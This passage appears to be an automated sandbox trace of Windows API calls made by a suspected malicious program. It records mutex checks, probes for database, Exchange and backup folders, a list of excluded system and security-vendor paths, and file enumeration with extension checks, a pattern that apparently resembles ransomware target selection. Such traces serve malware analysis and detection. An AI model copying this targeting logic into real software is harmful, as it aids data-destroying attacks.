[0058.609] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.609] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.609] GlobalUnlock (hMem=0x440004) returned 0 [0058.609] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.609] GlobalUnlock (hMem=0x44000c) returned 0 [0058.609] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.609] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.609] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.609] GlobalUnlock (hMem=0x44000c) returned 0 [0058.609] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.609] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.609] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.609] GlobalUnlock (hMem=0x44000c) returned 0 [0058.609] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.609] GlobalUnlock (hMem=0x440004) returned 0 [0058.609] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.609] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking", len=0x34 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking") returned 1 [0058.610] GlobalLock (hMem=0x440004) returned 0x550170 [0058.610] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.610] GlobalUnlock (hMem=0x440004) returned 0 [0058.610] GlobalLock (hMem=0x440004) returned 0x550170 [0058.610] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.610] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.610] GlobalUnlock (hMem=0x440004) returned 0 [0058.610] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.610] GlobalUnlock (hMem=0x44000c) returned 0 [0058.610] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@隲R隆R企@\x18䃄Q\x18\x1b")) returned 0xffffffff [0058.616] GetLastError () returned 0x3 [0058.616] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0058.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0058.617] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@阜R企@\x18䄌Q\x181")) returned 0xffffffff [0058.618] GetLastError () returned 0x2 [0058.618] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.618] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0058.619] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@ꐬR企@\x18?T\x18;")) returned 0xffffffff [0058.620] GetLastError () returned 0x2 [0058.620] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.620] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0058.620] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@锴R企@\x18?T\x18D")) returned 0xffffffff [0058.621] GetLastError () returned 0x2 [0058.622] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.622] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0058.622] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@阜R企@\x18ꐬR\x18j")) returned 0xffffffff [0058.623] GetLastError () returned 0x2 [0058.623] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.623] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0058.623] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@锴R企@\x18?T\x18q")) returned 0xffffffff [0058.625] GetLastError () returned 0x2 [0058.625] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.625] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\ꐨRP") returned 6 [0058.625] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@蘜T企@\x18?T\x18y")) returned 0xffffffff [0058.626] GetLastError () returned 0x2 [0058.626] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.626] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0058.626] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@阜R企@\x18?T\x18\x81")) returned 0xffffffff [0058.628] GetLastError () returned 0x2 [0058.628] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0058.628] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@锴R企@\x18?T\x18\x88")) returned 0xffffffff [0058.629] GetLastError () returned 0x2 [0058.629] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0058.629] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@蘜T企@\x18?T\x18\x8f")) returned 0xffffffff [0058.631] GetLastError () returned 0x2 [0058.631] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.631] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0058.631] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@阜R企@\x18?T\x18\x97")) returned 0xffffffff [0058.632] GetLastError () returned 0x2 [0058.632] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0058.632] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.632] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.632] GlobalUnlock (hMem=0x44000c) returned 0 [0058.632] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.632] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.632] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.632] GlobalUnlock (hMem=0x44000c) returned 0 [0058.632] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.632] GlobalUnlock (hMem=0x440004) returned 0 [0058.633] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.633] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.633] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0058.633] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.633] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.633] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0058.633] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.633] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.633] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.633] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.633] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0058.633] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.633] GlobalLock (hMem=0x440004) returned 0x550170 [0058.633] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.633] GlobalUnlock (hMem=0x440004) returned 0 [0058.633] GlobalLock (hMem=0x440004) returned 0x550170 [0058.633] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.633] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.633] GlobalUnlock (hMem=0x440004) returned 0 [0058.633] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.633] GlobalUnlock (hMem=0x44000c) returned 0 [0058.633] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.633] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.633] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.633] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.633] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.634] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.634] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.634] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0058.634] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.634] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0058.634] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.634] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0058.634] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.634] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0058.634] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.634] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.634] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\") returned 0x35 [0058.634] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0058.634] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.634] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.634] GlobalUnlock (hMem=0x44000c) returned 0 [0058.634] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.634] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.634] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.634] GlobalUnlock (hMem=0x44000c) returned 0 [0058.634] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.634] GlobalUnlock (hMem=0x440004) returned 0 [0058.634] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.635] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.635] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0058.635] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.635] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.635] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.635] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.635] GlobalUnlock (hMem=0x440004) returned 0 [0058.635] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.635] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.635] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.635] GlobalUnlock (hMem=0x440004) returned 0 [0058.636] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.636] GlobalUnlock (hMem=0x44000c) returned 0 [0058.636] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.636] CharLowerBuffW (in: lpsz="1047x576black.png", cchLength=0x11 | out: lpsz="1047x576black.png") returned 0x11 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, 